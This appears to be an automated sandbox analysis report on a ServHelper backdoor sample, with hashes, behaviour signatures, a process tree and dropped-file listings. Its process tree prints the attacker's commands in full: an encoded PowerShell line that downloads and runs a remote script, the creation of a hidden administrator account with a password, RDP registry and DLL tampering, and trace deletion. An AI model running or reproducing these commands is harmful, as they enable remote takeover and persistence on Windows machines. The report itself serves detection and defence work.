Analysis

  • max time kernel
    138s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    23-12-2024 12:40

General

  • Target

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

  • SSDEEP

    49152:U8+7QhuKuy4ab57x03AFPd96gUyeBW51fN4AsYfW4sAMnB4jt40bjqkNQU1:U8puFyft

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Servhelper family
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Blocklisted process makes network request 2 IoCs
  • Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
    "C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4lhorrt2.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:408
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC3E.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBC3D.tmp"
          4⤵
            PID:2724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2788
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2780
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1472
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1576
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1740
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1744
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1860
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2084
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2228
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Server Software Component: Terminal Services DLL
            • Modifies registry key
            PID:2940
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2088
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2348
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2412
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1224
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2028
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:808
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:2196
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:2360
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:2400
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:2148
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1728
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:264
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1672
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                            • Indicator Removal: Network Share Connection Removal
                            PID:2540
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc 000000 /del
                              2⤵
                              • Indicator Removal: Network Share Connection Removal
                              PID:2120
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                3⤵
                                • Indicator Removal: Network Share Connection Removal
                                PID:1696
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc vh8MiqYj /add
                            1⤵
                              PID:1064
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc vh8MiqYj /add
                                2⤵
                                  PID:876
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc vh8MiqYj /add
                                    3⤵
                                      PID:2352
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                  1⤵
                                  • Remote Service Session Hijacking: RDP Hijacking
                                  PID:1356
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                    2⤵
                                    • Remote Service Session Hijacking: RDP Hijacking
                                    PID:1668
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                      3⤵
                                      • Remote Service Session Hijacking: RDP Hijacking
                                      PID:552
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
                                  1⤵
                                  • Remote Service Session Hijacking: RDP Hijacking
                                  PID:2272
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
                                    2⤵
                                    • Remote Service Session Hijacking: RDP Hijacking
                                    PID:2556
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
                                      3⤵
                                      • Remote Service Session Hijacking: RDP Hijacking
                                      PID:1328
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                  1⤵
                                    PID:1332
                                    • C:\Windows\system32\net.exe
                                      net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                      2⤵
                                        PID:1000
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                          3⤵
                                            PID:1788
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc vh8MiqYj
                                        1⤵
                                          PID:1800
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc vh8MiqYj
                                            2⤵
                                              PID:568
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc vh8MiqYj
                                                3⤵
                                                  PID:1500
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C wmic path win32_VideoController get name
                                              1⤵
                                                PID:1596
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic path win32_VideoController get name
                                                  2⤵
                                                  • Detects videocard installed
                                                  • Modifies data under HKEY_USERS
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1648
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C wmic CPU get NAME
                                                1⤵
                                                  PID:2916
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic CPU get NAME
                                                    2⤵
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2928
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  1⤵
                                                    PID:2696
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      2⤵
                                                        PID:3024
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                          3⤵
                                                          • Blocklisted process makes network request
                                                          • Drops file in Windows directory
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2724

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\Users\Admin\AppData\Local\Temp\4lhorrt2.dll

                                                      Filesize

                                                      3KB

                                                      MD5

                                                      d39b0b8232c4b11556285c95eca69996

                                                      SHA1

                                                      1c12640f4aa42846c44ff10b6720f627440d9d78

                                                      SHA256

                                                      233746850365629a01e6e9bdc3806920f34957e665618709611d2bc2202aadd3

                                                      SHA512

                                                      985c86cda5daa08169e708958ca4f38df98fac28a6b1148d15f02733bff6887ad98fd90cb47f0fe4be9abb07f1bed356dc0a4391ad3f7513513eb2ce5c841fac

                                                    • C:\Users\Admin\AppData\Local\Temp\4lhorrt2.pdb

                                                      Filesize

                                                      7KB

                                                      MD5

                                                      4bb78c30b2f779502eb7f23c784b40db

                                                      SHA1

                                                      11cf8e1ec650ff496ef18782833f88683b5f05e8

                                                      SHA256

                                                      e018fd9ec6c9e94096be7466110afaf10ba99f3f80dd16f35d1e7f7cd870719e

                                                      SHA512

                                                      6919ce085461afc5b24138466aa2f1ae72feb33624ceeb90177f524945051da493a82a6b60e22407288ffdea42dac6aba4726aa7fe2e00bd86bfe1c4f958de48

                                                    • C:\Users\Admin\AppData\Local\Temp\RESBC3E.tmp

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      54a801e01d50f07798b7bd7b0294a85f

                                                      SHA1

                                                      b3160c5b8ef64ad62fd8cbb44ccaffefeca1870d

                                                      SHA256

                                                      8e530636de33be6341ccf3255289c48878acb9365cac8007fe34f7b737d02127

                                                      SHA512

                                                      042ff647ee0fab8cfd3c14a264eafbfa916da3aa841bf300337e04e9f85f1e659482e67988211eb9e29a209c1b47d2bfe677dc0d69892947ae6ff40dff043248

                                                    • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      3447df88de7128bdc34942334b2fab98

                                                      SHA1

                                                      519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                      SHA256

                                                      9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                      SHA512

                                                      2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                    • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                      Filesize

                                                      2.5MB

                                                      MD5

                                                      43473f4e719958639a9d89e5d8388999

                                                      SHA1

                                                      ccb79eb606a23daa4b3ff8f996a2fbf281f31491

                                                      SHA256

                                                      ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

                                                      SHA512

                                                      1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SR2C2DJKD075H58IT1TL.temp

                                                      Filesize

                                                      7KB

                                                      MD5

                                                      13693f370bb558751b11d09e50c4c2b1

                                                      SHA1

                                                      8bf8545b98c0b44cde55c7eae945787e4e01cb7a

                                                      SHA256

                                                      4d2bd3436a1af2438f0ae92b47338858e07d0ffc9b9fa3a1b7de68ced832559c

                                                      SHA512

                                                      18028190aa4a7c099f3402a6f258b71fd54b0d1c2c38d3580fc74b2158991aa0cd6de2c074f1c03fa834e9c52f9a6383ac2ee6351c30cec6ddba870aabeb9e05

                                                    • C:\Windows\system32\rfxvmt.dll

                                                      Filesize

                                                      40KB

                                                      MD5

                                                      dc39d23e4c0e681fad7a3e1342a2843c

                                                      SHA1

                                                      58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                      SHA256

                                                      6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                      SHA512

                                                      5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\4lhorrt2.0.cs

                                                      Filesize

                                                      424B

                                                      MD5

                                                      4864fc038c0b4d61f508d402317c6e9a

                                                      SHA1

                                                      72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                      SHA256

                                                      0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                      SHA512

                                                      9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\4lhorrt2.cmdline

                                                      Filesize

                                                      309B

                                                      MD5

                                                      38912f96ab6a05ee52d39ff2f4bc5e9f

                                                      SHA1

                                                      96aa6f7558dbee2d2ea4881670e273e5c26c9592

                                                      SHA256

                                                      f4dd865882a056c5d259b1ae7c9a11aab89dfabb499d72f85d5aabccbbd91e27

                                                      SHA512

                                                      064dd91cd2ae543b8c5d53d274a0a961b6b8f096717524b590d79ca7f701a06e99e6fe8eec16aca46a0440705d901f4f74fd8e40e4e601d830f145f1e5b9646d

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\CSCBC3D.tmp

                                                      Filesize

                                                      652B

                                                      MD5

                                                      93478c30cdc7a75b14d8512f44e2855b

                                                      SHA1

                                                      45b35067a91f0bfd6dea845c8d258c635f301601

                                                      SHA256

                                                      02b37532d0b50ca114b37146c3427a7ba4118494557ed116e22d6271a04d996e

                                                      SHA512

                                                      58d13a4d4385ea7262fc16e9959394b74ba14ac7c979c2cd597db0753a2883379356952041f806f285b8f67beea2ac14769776cbba6b67a25c682b1d365d9031

                                                    • \Windows\Branding\mediasrv.png

                                                      Filesize

                                                      60KB

                                                      MD5

                                                      271eacd9c9ec8531912e043bc9c58a31

                                                      SHA1

                                                      c86e20c2a10fd5c5bae4910a73fd62008d41233b

                                                      SHA256

                                                      177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

                                                      SHA512

                                                      87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

                                                    • \Windows\Branding\mediasvc.png

                                                      Filesize

                                                      743KB

                                                      MD5

                                                      1fa9c1e185a51b6ed443dd782b880b0d

                                                      SHA1

                                                      50145abf336a196183882ef960d285bd77dd3490

                                                      SHA256

                                                      f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

                                                      SHA512

                                                      16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

                                                    • memory/2296-57-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                    • memory/2296-5-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                    • memory/2296-1-0x00000000417D0000-0x0000000041A80000-memory.dmp

                                                      Filesize

                                                      2.7MB

                                                    • memory/2296-2-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                    • memory/2296-3-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                    • memory/2296-56-0x000007FEF5763000-0x000007FEF5764000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2296-0-0x000007FEF5763000-0x000007FEF5764000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2296-4-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

                                                      Filesize

                                                      9.9MB

                                                    • memory/2464-34-0x0000000002D10000-0x0000000002D18000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/2464-62-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-38-0x000000001BC30000-0x000000001BC62000-memory.dmp

                                                      Filesize

                                                      200KB

                                                    • memory/2464-39-0x000000001BC30000-0x000000001BC62000-memory.dmp

                                                      Filesize

                                                      200KB

                                                    • memory/2464-13-0x000000001B640000-0x000000001B922000-memory.dmp

                                                      Filesize

                                                      2.9MB

                                                    • memory/2464-20-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-14-0x00000000020D0000-0x00000000020D8000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/2464-15-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-59-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-12-0x000007FEECFAE000-0x000007FEECFAF000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2464-61-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-60-0x000007FEECFAE000-0x000007FEECFAF000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2464-63-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-64-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-16-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-17-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB

                                                    • memory/2464-18-0x000007FEECCF0000-0x000007FEED68D000-memory.dmp

                                                      Filesize

                                                      9.6MB